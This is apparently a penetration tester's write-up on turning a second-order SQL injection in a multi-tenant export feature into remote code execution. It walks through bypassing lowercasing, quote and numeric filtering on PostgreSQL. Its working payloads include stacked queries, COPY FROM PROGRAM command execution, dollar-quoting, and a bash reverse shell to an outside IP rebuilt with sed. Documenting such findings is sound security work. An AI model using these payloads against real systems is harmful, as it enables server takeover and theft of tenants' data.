TL;DR

During a pentest of a multi-tenant export functionality, I identified a Second-Order SQL Injection in export endpoints. Despite multiple input transformations (lowercasing, quote escaping, and numeric filtering), I was able to bypass all restrictions using alternative PostgreSQL syntax and payload obfuscation techniques. By leveraging the COPY FROM PROGRAM feature and creatively reconstructing filtered payloads with sed, I successfully escalated the vulnerability into a Remote Code Execution (RCE), compromising the server hosting all tenants' data.

During a penetration testing engagement, I encountered a second-order SQL injection vulnerability that had multiple limitations on the parameter. These restrictions initially acted as a barrier, preventing straightforward exploitation and blocking any direct path toward remote code execution (RCE).

By utilizing multiple bypass techniques and carefully analyzing how the backend processed user input across different stages, I was eventually able to bypass all limitations and escalate the vulnerability into a full RCE, compromising the server that held all tenant data.

None

The Target Story

The application was a multi-tenant web platform, where all tenants shared a single server, while each tenant had its own isolated database schema containing its data.

A user within a tenant, depending on their privileges, could export a subset of their data by interacting with the following endpoints:

  • /rest/export/exportUnit : Responsible for configuring the export process. The user defines what data should be exported along with related configurations. It returns a process ID used in later steps.
  • /rest/export/TxStatus : Accepts the process ID and returns the current status of the export process, such as success, failure, or still processing.
  • The final endpoint, responsible for downloading the exported file, was not relevant to this writeup.

The normal user journey starts by opening the export screen and selecting what data to export. A modal is then displayed showing the status of the export process, which continuously polls the second endpoint until a success response is returned. Once completed, the final endpoint is automatically triggered to download the exported file to the user's machine.

A very common workflow, but as usual, such flows often hide critical vulnerabilities.

The First Not Working? Why About the Second Order?

I initially focused on the /rest/export/exportUnit endpoint, since it contains all user-controlled parameters, while the second endpoint only accepts a simple ID in its path. One parameter immediately caught my attention: exportTablesNames, which accepted values that looked like table names separated by a pipe character |, for example:

data_table1|data_table2|data_table3

At first glance, injecting special characters into this parameter did not change the response at all. It always returned a valid export process ID regardless of input.

Even when injecting a single quote ' or other special characters, the first endpoint showed no abnormal behavior.

None

However, when observing the second endpoint /rest/export/TxStatus, things changed slightly. A single quote still produced nothing, but injecting an ampersand & triggered a SQL error, which immediately indicated a potential second-order SQL injection vulnerability.

None

The SQL error returned by the second endpoint revealed two important behaviors in how the application processed user input internally. First, the value was being converted to lowercase, which later became a limitation for some exploitation techniques. Second, the & character appeared to be appended with a single quote ', which caused the SQL error to surface.

This also explained why injecting a single quote alone did not trigger any error, since the application internally escaped it before reaching the database layer.

The error message also revealed the underlying query structure:

SELECT GENERATE_CREATE_TABLE_STATEMENT AS SCRIPT FROM public.GENERATE_CREATE_TABLE_STATEMENT('<INJECTION>');

At this point, I had confirmed a solid second-order SQL injection. It was clearly exploitable through error-based techniques, but I was not satisfied with that impact, especially since the backend was using PostgreSQL.

Naturally, the question became: can this be escalated to RCE?

A Straightforward Path Filled With Obstacles

One of the well-known ways to achieve command execution in PostgreSQL is by using the COPY ... FROM PROGRAM feature, which allows superusers or users with pg_execute_server_program privileges to execute system commands.

The classic exploit path looks like this:

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM '<COMMAND>';

Assuming misconfigured privileges, this alone would result in an easy RCE. right?

Step One: Table Creation

I used the following payload to close the procedure call and inject a new query:

x');CREATE TABLE shell(output text);-- -
None
None

The first attempt executed successfully. The table was created without any errors, confirming that stacked queries were possible. Running the same payload again confirmed that the table already existed, meaning the first step was successful.

At this point, I was only two requests away from RCE. right?

Step Two: First Reverse Shell Attempt

Feeling confident, I attempted to execute a reverse shell using:

x'); COPY shell FROM PROGRAM 'bash -i >& /dev/tcp/157.1.2.3/1234 0>&1';-- -
None
None

However, the response returned a bad SQL grammar error, and the query appeared partially corrupted, with parts of it replaced by question marks ?. This suggested that additional custom processing was still being applied to the input.

Analyzing the Custom Processing

At this stage, I revisited all observations and confirmed two main transformations applied to the input:

  • The first was lowercase conversion of the entire input.
  • The second was automatic modification of special characters, including appending a single quote in some cases.

Revisiting working and non-working payloads revealed a key pattern: successful queries only contained a single closing quote used to terminate the procedure call (x');). Any additional quotes introduced later caused corruption or unexpected sanitization behavior.

This led me to suspect that the application might also be utilizing a known WAF mechanism to sanitize single quotes.

Bypassing with Dollar Quoting

To bypass quote-based filtering and corruption, I switched to PostgreSQL dollar-quoting syntax using $$. This allowed me to avoid issues caused by single quotes.

The updated payload became:

x'); COPY shell FROM PROGRAM $$bash -i >& /dev/tcp/157.1.2.3/1234 0>&1$$;-- -
None
None

The response was still a SQL grammar error, but this time the command was less corrupted and partially preserved in the output. This confirmed that the previous obstacle had been partially bypassed.

Blind RCE Confirmation

Analyzing the response again shows that any part of the payload starting with numeric values has been replaced with question marks. This raises the question of whether there is custom input processing or sanitization applied specifically to numeric values.

Before investigating the root cause of this behavior, I first attempted payloads that do not include any numeric characters, in order to verify the effective privileges of the database user. Using the following payload, I was able to confirm that the database user executing the application queries has sufficient privileges to escalate the SQL injection to Remote Code Execution.

x');COPY shell FROM PROGRAM $$nc -h$$;-- -
None
None

The response indicates that the command was executed successfully; however, netcat is not installed on the target machine. When a command exists, no error message is returned, resulting in a blind remote code execution scenario.

The Numeric Filtering Problem

Returning to the hypothesis that the application is applying some form of filtering on numeric values, I executed an export process using a parameter value of 1:

None
None

The results showed that numeric values are being replaced with a question mark. This becomes critical when attempting to establish a reverse shell, since components such as the port must be numeric.

From initial testing of these endpoints, it was already observed that numeric values suffixed with alphabetic characters are not filtered (for example, Test1 remains unchanged). Based on this, I initially considered using Base64 encoding to bypass the restriction by sending an encoded payload, decoding it, and executing it in a single command. However, after executing the export process, I remembered that the application also converts input to lowercase, which breaks the Base64 encoding scheme.

None
None

Reaching this point, I became frustrated, as I was very close to achieving a full reverse shell on the machine hosting all tenants' data, starting from a mid-privileged user within one of the tenants, clearly a critical finding. After several attempts, I came up with another idea.

The Final Idea: Using SED for Reconstruction

The idea was straightforward: since appending an alphabetic character before numeric values prevents them from being filtered, I considered inserting a unique placeholder character that would not otherwise appear in the command. Then, by leveraging sed, a Unix utility used for stream editing, I could replace that placeholder character with an empty string to reconstruct the intended command. A clever approach in theory.

A closer look at the command showed that the character f could serve this purpose, as it was not used elsewhere in the context. I therefore appended it to each IP octet, the port, and the file descriptor redirection, as follows:

x');COPY (SELECT $$bash -i >& /dev/tcp/f157.f1.f2.f3/f1234 f0>&f1$$) TO $$/tmp/rev.sh$$;-- -

The COPY command here is used to write the command into a file so it can be processed later in the next step. However, these two steps could be combined into a single query, making the initial step unnecessary. That said, the screenshots I have were taken from the first approach, which was successful.

None
None

From the response, it is clear that both queries returned values, confirming that the file was written successfully. The next step is to use sed to replace the f character with an empty string, modify the file permissions to make it executable, and then execute it using bash, as follows:

x');COPY shell FROM PROGRAM $$sed -i s/f//g /tmp/rev.sh;chmod +x /tmp/rev.sh;bash /tmp/rev.sh$$;-- -
None

And finally, a reverse shell has been achieved ;)

None

Break it right, secure it tight ;)